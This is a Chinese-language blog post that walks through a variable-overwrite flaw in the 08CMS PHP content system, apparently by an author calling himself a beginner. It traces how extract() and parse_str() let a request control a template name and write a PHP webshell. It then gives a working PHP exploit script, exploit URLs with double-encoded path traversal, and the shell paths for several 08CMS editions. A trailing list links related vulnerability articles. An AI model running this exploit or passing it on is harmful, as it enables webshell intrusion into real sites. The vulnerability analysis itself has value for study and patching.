08cms cecore.cls.php,08CMS 变量覆盖导致getshell 等问题
我也是初学php 文章有什么不对的 还望各位指出错误 见谅 。。。
=================================================================
/Include/general.inc.php 21-26行
[php]
(isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) && exit('08cms Error');
if(!QUOTES_GPC && $_FILES) $_FILES = maddslashes($_FILES);
foreach(array('_GET','_POST') as $_request){
foreach($$_request as $k => $v){
$k{0} != '_' && $$k = maddslashes($v);
}
}
[/php]
这样写虽然很方便但是变量没初始化的时候我们就可以提交了
我们看看 Index.php 文件
[php]include_once dirname(__FILE__).'/include/general.inc.php';
include_once M_ROOT.'./include/common.fun.php';
if_siteclosed();
mobile_open() || message('手机版尚未开放');
parse_str(un_virtual($_SERVER['QUERY_STRING']),$temparr);
/*[/php]
我们看看这句代码
$_SERVER['QUERY_STRING']就是获取查询字符串的。。比如说xx.php?id=222 他就获取了id=222
un_virtual这个函数是过滤获取查询字符串的我们看看是咋写的
[php]function un_virtual($str){
......
$str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替换成 & 和 =
......
return $str;
}
[/php]
parse_str()这个是把查询字符串解析到变量中 用于存储的变量是$temparr这个
我们接着看下面的吧
[php]
$_da = array();
if(!$cnstr){
$tplname = $_ismobile ? $o_index_tpl : $hometpl ; //$tplname这个在这里定义的了
$_da['rss'] = $cms_abs.'rss.php';
$_da += $temparr; // $_da= $_da+$temparr
unset($temparr);//销毁变量
extract($_da,EXTR_OVERWRITE); //变量覆盖 这样我们可以控制了$tplname这个变量
tpl_refresh($tplname); //这个tpl_refresh函数就是我们要利用的地方 看看咋写的
*/
[/php]
\include\refresh.fun.php 2行
[php]function tpl_refresh($tplname){
global $templatedir,$debugtag;
$tdir = M_ROOT."template/$templatedir/";
$cacf = $tdir.'pcache/'.$tplname.'.php'; // 我们是可以控制这些变量的
if(file_exists($x = $tdir."function/utags.fun.php")) include_once $x;//利用在下面当然这里也能利用 截断下
mmkdir($cacf,0,1);
if($debugtag || !file_exists($cacf)){ //轻松进入流程
$str = load_tpl($tplname); //看这个函数的名字应该是打开文件 返回内容
/* load_tp: include\refresh.fun.php 1137行
$tpl = @file2str(M_ROOT."template/$templatedir/".$tplname); //file2str这个是打开文件的函数 我就不贴上来了
$rt && $tpl = preg_replace("/\{tpl\\$(.+?)\}/ies", "rtagval('\\1','$rt')",$tpl); 过滤无压力* /
$str = preg_replace("/', $str); //依旧无压力
$str = preg_replace("/\/s", "{\\1}", $str);
breplace($str,'');
nreplace($str);
quit_refresh_var();
$str = tpl_basecode($str);
//以上代码都是过滤
str2file($str,$cacf);//这个是写文件 函数就不贴了
}
unset($str,$tdir,$cacf);
}
[php]
有了这些我们就可以 写文件了 不过还有些限制
[php]$cacf = $tdir.'pcache/'.$tplname.'.php';
$str = load_tpl($tplname);
$tpl = @file2str(M_ROOT."template/$templatedir/".$tplname);
[/php]
$tplname都是我们控制的 我们可以上传个图片来生成文件 还可以找找有木有其他生成的地方
\tools\ptool.php
[php]$cf = M_ROOT.'./dynamic/stats/aclicks.cac';
$ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';
/* 省略 */
if(@$fp = fopen($cf,'a')){
fwrite($fp,"$aid\n");
fclose($fp);[/php]
aid没有是初始化我们可以提交
8 aid没有是初始化我们可以提交
好了 现在可以提交了 写文件了 但是还有个限制就是不能跳出目录 因为一开始有过滤的(开头的代码)
parse_str(un_virtual($_SERVER['QUERY_STRING']),$temparr);
不过由于parse_str 这个函数 会自动url解码 所以我们加一次url编码就可以绕过un_virtual的过滤了~
这个cms还是有很多问题的。。
利用写了个exp 新手可能有错误 大家见谅:
[php]
if ($argc < 2 ) {
print_r('
+---------------------------------------------------------------------------+
)_|
_/ |_ _ _
______/□□ \_∩- // //
\ 20 \_________\_//>_//>_
\________________________|
[+] php '.$argv[0].' [url]www.08sec.com[/url]
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(E_ERROR);
set_time_limit(0);
$host = $argv[1];
go($host);
function go ($host)
{
global $exp,$exp1;
$re = Send ($host,$exp);
stripos($re,"MySQL")>0
?
Send ($host,$exp)
:
"";
$re = Send ($host,$exp1) and stripos($re,"aclicks.cac")>0
?
exit(" + Exploit Success!\r\n + http://$host/template/dynamic/stats/aclicks.cac.php\r\n")
:
exit(" - Exploit Failed!\n");
}
function Send($host,$url)
{
$data = "GET $url HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Accept-Language: en-us\r\n";
$data .= "Connection: Close\r\n\r\n";
$fp = @fsockopen($host, 80);
if (!$fp) {
die("[-] Connect to host Error\r\n");
}
fwrite($fp, $data);
$back = '';
while (!feof($fp)) {
$back .= fread($fp, 1024);
}
fclose($fp);
return $back;
}
?>[/php]
应该是通杀的吧
有的版本需要转2此url码
因为有的开始就解码了
汽车CMS4.1 GBK版 :
exp index.php?tplname=..%252f..%252fdynamic%252fstats%252faclicks.cac
shell /dynamic/tplcache/common/….dynamicstatsaclicks.cac.php
装修 CMS :
shell: /dynamic/dynamic/stats/aclicks.cac.php
附上个HTML上传的代码
[php]
[/php]
(因为08cms版本很多 文章版本是 汽车4.3 UTF-8版的)
=======================================
来源:90‘s blog 作者:honker90
08cms cecore.cls.php,08CMS 变量覆盖导致getshell 等问题相关推荐
- filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行
Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞. 介绍 Thinkphp框架官方提供核心版和完整版两种: 核心版因默认缺 ...
- PHP-代码审计-变量覆盖
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 代码审计学习线上实验,都是CE一边实操,一边整理的笔记,方便以后翻看时,可快速查阅. 目录 变量覆盖漏洞 一.简介 • extract()函数 ...
- php之变量覆盖漏洞讲解
1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...
- php之变量覆盖漏洞讲解,PHP中的变量覆盖漏洞代码深入解析
2.CTF中extract()导致的变量覆盖 我们大致分析是要求我们GET传参进去值会经过extract()函数下来会有两个if 第一个if判断 ceshi这个变量是否存在 存在则继续执行if里面的 ...
- csrf漏洞防御方案_变量覆盖漏洞利用及防御方案
一.漏洞简介 变量覆盖漏洞是指攻击者使用自定义的变量去覆盖源代码中的变量,从而改变代码逻辑,实现攻击目的的一种漏洞.通常来说,单独的变量覆盖漏洞很难有利用价值,但是在与其他应用代码或漏洞结合后,其造成 ...
- CTF——PHP审计——变量覆盖
一,变量覆盖漏洞 参考:https://www.cnblogs.com/xiaozi/p/7768580.html 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞 ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- Discuz! $_DCACHE数组变量覆盖漏洞
Discuz! $_DCACHE数组变量覆盖漏洞 author: ryat_at_[url]www.wolvez.org[/url] team:[url]http://www.80vul.com[/u ...
- jmeter file upload 变量_通达OA上传漏洞之变量覆盖分析
作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...
- html 怎么让tr的css覆盖td的_通达OA上传漏洞之变量覆盖分析
作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...
最新文章
- 【探讨】javascript事件机制底层实现原理
- FastJson 打Release 包解析失败
- few-shot learning 1.1——零样本学习
- Python中的元类及元类实现的单例模式
- 【OpenGL4.0】GLSL渲染语言入门与VBO、VAO使用:绘制一个三角形
- MySQL建表添加乐观锁字段_Java秒杀系统优化-Redis缓存-分布式session-RabbitMQ异步下单-页面静态化...
- python一次性输入多个数_python如何利用input函数输入多个参数?
- python自动化办公入门书籍-用Python自动办公,做职场高手 | 「讲文兄博客」
- 标准C程序设计七---03
- 服务器怎么关闭终端依然运行node,关闭控制台后如何永久运行node.js应用程序?...
- VS提示error C2011: “timespec”:“struct”类型重定义
- 根据身份证号码计算年龄
- 知识图谱构建技术综述与实践
- 2021最火南风表情包最新微信小程序源码+带采集+流量主+前后端完整版+免费下载+附安装教程无加密源码
- 跟随郭霖学Volley
- 代码维护服务器,维护服务器的利器-pubwin 2009程序代码
- 值得品读的感悟人生的经典句子 - 格言网(转载)
- 《成为沃伦·巴菲特》笔记与感想
- MariaDB数据库部署
- Python常用对象及运算符-CFTA注册金融科技分析师一级考点